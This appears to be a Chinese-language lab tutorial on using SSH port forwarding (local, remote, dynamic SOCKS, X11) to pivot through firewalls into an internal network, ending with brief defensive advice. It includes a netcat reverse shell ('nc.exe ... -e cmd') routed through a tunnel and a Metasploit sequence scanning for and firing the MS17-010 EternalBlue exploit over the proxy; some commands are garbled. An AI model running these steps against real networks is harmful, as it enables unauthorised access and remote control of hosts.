在內(nèi)網(wǎng)中幾乎所有的linux服務器和網(wǎng)絡設備都支持ssh協(xié)議。一般情況下,ssh協(xié)議是允許通過防火墻和邊界設備的,所以經(jīng)常被攻擊者利用。同時ssh協(xié)議的傳輸過程是加密的,所以我們很難區(qū)分合法的ssh會話和攻擊者利用其他網(wǎng)絡建立的隧道。攻擊者使用ssh端口隧道突破防火墻的限制后,能夠建立一些之前無法建立的TCP連接。
一個普通的ssh命令如下: ssh [email protected] <mailto:[email protected]> 創(chuàng)建ssh隧道的常用參數(shù)如下:
-C:壓縮傳輸,提高傳輸速度 -f :將ssh傳輸轉(zhuǎn)入后臺執(zhí)行,不占用當前的shell。 -N:建立靜默連接(建立了連接,但是看不到具體的會話) -g
允許遠程主機連接本地用于轉(zhuǎn)發(fā)的端口。 -L:本地端口轉(zhuǎn)發(fā) -R:遠程端口轉(zhuǎn)發(fā) -D:動態(tài)轉(zhuǎn)發(fā)(socks代理) -P:指定ssh端口。 ? 1.本地端口轉(zhuǎn)發(fā)
測試環(huán)境如下: 外部vps可以訪問內(nèi)網(wǎng)web服務器,但是不能訪問數(shù)據(jù)庫服務器,內(nèi)網(wǎng)web服務器可以和數(shù)據(jù)庫服務器互相訪問。
測試目標:以web服務器為跳板,訪問數(shù)據(jù)庫服務器的3389端口。 修改ssh服務器配置文件 /etc/ssh/sshd_config –
PermitRootLogin yes – Port 22 – PasswordAuthentication yes ? service ssh restart
? ssh -fCNg -L <listen port>:<remote ip>:<remote port> user@<ssh server> -p
<ssh server port> ssh -fCNg -L 1153(vps端口):192.168.190.136(目標主機):3389(目標端口)
[email protected](跳板機) ssh -fCNg -L 1153:192.168.190.136:3389
[email protected] -p 22 netstat -anptl | grep 1153
查看本地1153端口,可以看到1153端口已經(jīng)開啟偵聽。
使用rdesktop連接vps的1153端口,可以發(fā)現(xiàn)已經(jīng)與數(shù)據(jù)服務器192.168.190.136的3389建立了連接 rdesktop
127.0.0.1:1153
ssh進程的本地端口映射可以將本地(客戶機)的某個端口轉(zhuǎn)發(fā)到遠端指定機器的指定端口;本地端口轉(zhuǎn)發(fā)則是在本地(客戶機)監(jiān)聽一個端口,所有訪問這個端口的數(shù)據(jù)都會通過ssh隧道傳輸?shù)竭h端的對應端口。
? 加密傳輸: linux1 : 192.168.190.110 linux2: 192.168.190.133 win7: 192.168.190.136
win2008: 192.168.190.132
在linux1和linux之間建立一條ssh隱秘隧道,使win2008將自己的shell通過ssh隧道反彈給win7。 在linux1上執(zhí)行如下命令: ssh
-fCNg -L 7006:192.168.190.136:333 [email protected] -p 22 在win7上使用nc監(jiān)聽本地333端口
nc -lvp 333 在win ser2008上使用nc連接linux1的7006端口 nc.exe 192.168.190.110 7006 -e cmd
回到win7上可以看到已經(jīng)獲得了win2008的shell了。 ? 2.遠程端口轉(zhuǎn)發(fā) 測試環(huán)境如下: 左側(cè)為攻擊者vps(kali
linux);右側(cè)是一個小型內(nèi)網(wǎng),包含三臺機器;內(nèi)網(wǎng)沒有邊界設備,所以外部的vps不能訪問內(nèi)網(wǎng)中的三臺機器;內(nèi)網(wǎng)web服務器可以訪問外網(wǎng)vps,數(shù)據(jù)庫服務器和域控服務器均不能訪問外網(wǎng)的vps。
測試目標:通過外網(wǎng)vps訪問數(shù)據(jù)庫服務器的3389端口。
以web服務器為跳板,將vps的1521端口的流量轉(zhuǎn)發(fā)到數(shù)據(jù)庫服務器的3389端口,然后訪問vps的1521端口,就可以訪問數(shù)據(jù)庫服務器192.168.190.136的3389端口了。
在web服務器上執(zhí)行如下命令: ssh -fNg -R <listen port>:<remote ip>:<remote port> user@<SSH
server> -p <ssh server port> ssh -fCNg -R
1521(vps端口):192.168.190.136(目標主機):3389 [email protected] ssh -fCNg -R
1521:192.168.190.136:[email protected] <mailto:[email protected]>
netstat -anptl | grep 1521 查看遠程vps(192.168.190.110)發(fā)現(xiàn)已經(jīng)開啟對1521端口的監(jiān)聽 rdesktop
127.0.0.1:1521 訪問vps的1521端口,即可與數(shù)據(jù)庫服務器的3389端口建立連接。
總結(jié):本地轉(zhuǎn)發(fā)是在本地監(jiān)聽并將遠程主機某個端口的數(shù)據(jù)轉(zhuǎn)發(fā)到本地服務器的指定端口。遠程端口轉(zhuǎn)發(fā)則是在遠程主機上監(jiān)聽一個端口,所有訪問遠程服務器指定端口的數(shù)據(jù)都會通過ssh隧道傳輸?shù)奖镜氐膶丝谏稀?br>? 3.動態(tài)轉(zhuǎn)發(fā) 測試環(huán)境如下: 在vps上執(zhí)行如下命令,建立一個動態(tài)的socks代理通道 ssh fCNg -D 7000
[email protected] <mailto:[email protected]>
查看本地7000端口的監(jiān)聽是否已經(jīng)啟動,可以看到ssh正在監(jiān)聽7000端口。
然后,在本地打開瀏覽器并設置網(wǎng)絡代理,通過瀏覽器訪問內(nèi)網(wǎng)域控制器(192.168.190.132)。 ?
此時,也可以使用metasploit掛socks代理掃描目標內(nèi)網(wǎng)ms17-010
msfconsole -q msf5 > setg proxies socks5:192.168.174.130:7000 msf5 > use
auxiliary/scanner/smb/smb_ms17_010 msf5 auxiliary(scanner/smb/smb_ms17_010) >
set rhosts 192.168.190.132 msf5 auxiliary(scanner/smb/smb_ms17_010) > set
threads 10 msf5 auxiliary(scanner/smb/smb_ms17_010) > run msf5 > use
exploit/windows/smb/ms17_010_eternalblue msf5 > set rhost 192.168.190.136 msf5
> set lhost 192.168.174.130 msf5 > set lport 444 msf5 > set ReverseAllowProxy
true msf5 > exploit
總結(jié):動態(tài)端口映射就是建立一個ssh加密的socks代理通道。任何支持socks4/5協(xié)議的程序都可以使用這個加密隧道進行代理訪問。 ? 4.X協(xié)議轉(zhuǎn)發(fā)
1.遠程登陸 Linux GUI 運行圖形化界面工具,類似于VNC和X windows。 2.防火墻限制訪問時,可以嘗試通過 SSH 的 X 轉(zhuǎn)發(fā) ssh
-X [email protected] <mailto:[email protected]> -p 53 ? X協(xié)議轉(zhuǎn)發(fā)測試
可以使用遠程主機的圖像化工具 ssh -X [email protected] <mailto:[email protected]> ?
?5.ssh隧道防御
ssh隧道之所以能被攻擊者利用,主要是因為系統(tǒng)訪問控制措施不夠。在系統(tǒng)中配置ssh遠程管理白名單,在ACL中限制只有特定的ip地址才能連接ssh,以及設置系統(tǒng)完全使用帶外管理等方法,都可以避免這一問題。如果沒有足夠的資源來建立帶外管理的網(wǎng)絡結(jié)構(gòu),在內(nèi)網(wǎng)中至少要限制ssh遠程登錄的地址和雙向訪問控制策略(從外部到內(nèi)部、從內(nèi)部到外部)。
熱門工具 換一換